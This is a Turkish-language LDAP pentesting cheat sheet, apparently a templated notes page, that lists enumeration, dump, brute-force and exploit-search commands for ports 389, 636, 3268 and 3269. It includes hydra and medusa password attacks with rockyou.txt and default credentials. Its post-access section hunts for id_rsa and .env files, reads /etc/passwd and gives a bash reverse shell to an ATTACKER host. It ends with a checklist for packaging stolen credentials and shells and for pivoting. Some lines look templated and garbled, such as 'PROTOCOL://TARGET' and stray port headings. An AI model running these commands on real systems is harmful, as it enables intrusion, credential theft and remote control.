389, 636, 3268, 3269 - Pentesting LDAP

LDAP enum

LDAP dizin bilgisi sızdırır. Anon bind veya zayıf cred ile kullanıcı/grup dump. Hedef lab IP’si üzerinde komutları 389 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

389/636.
Anon bind.
BaseDN enum.
Dump.

Keşif

nmap -Pn -sV -p389,636,3268 TARGET

nmap -Pn -p389,636,3268 --script ldap-rootdse,ldap-search TARGET

ldapsearch -x -H ldap://TARGET -s base namingcontexts

Dump

ldapsearch -x -H ldap://TARGET -b 'dc=domain,dc=local'

ldapdomaindump TARGET -u 'DOMAIN\\user' -p pass

nxc ldap TARGET -u user -p pass --users

Derin enum

, 636, 3268, 3269 - LDAP için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p389,636,3268,3269 TARGET

nmap -Pn -p389 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:389' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',389));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → , 636, 3268, 3269 - LDAP

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 389 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 389

nmap -p389 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit LDAP

msfconsole -q -x 'search LDAP; exit'

nuclei -u https://TARGET:389 -t cves/ -silent -severity || true

nuclei -u http://TARGET:389 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 389

printf '
' | timeout 3 nc -nv TARGET 389

curl -vk --http1.0 http://TARGET:389/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

anon/cred bind → dump users → spray/kerberoast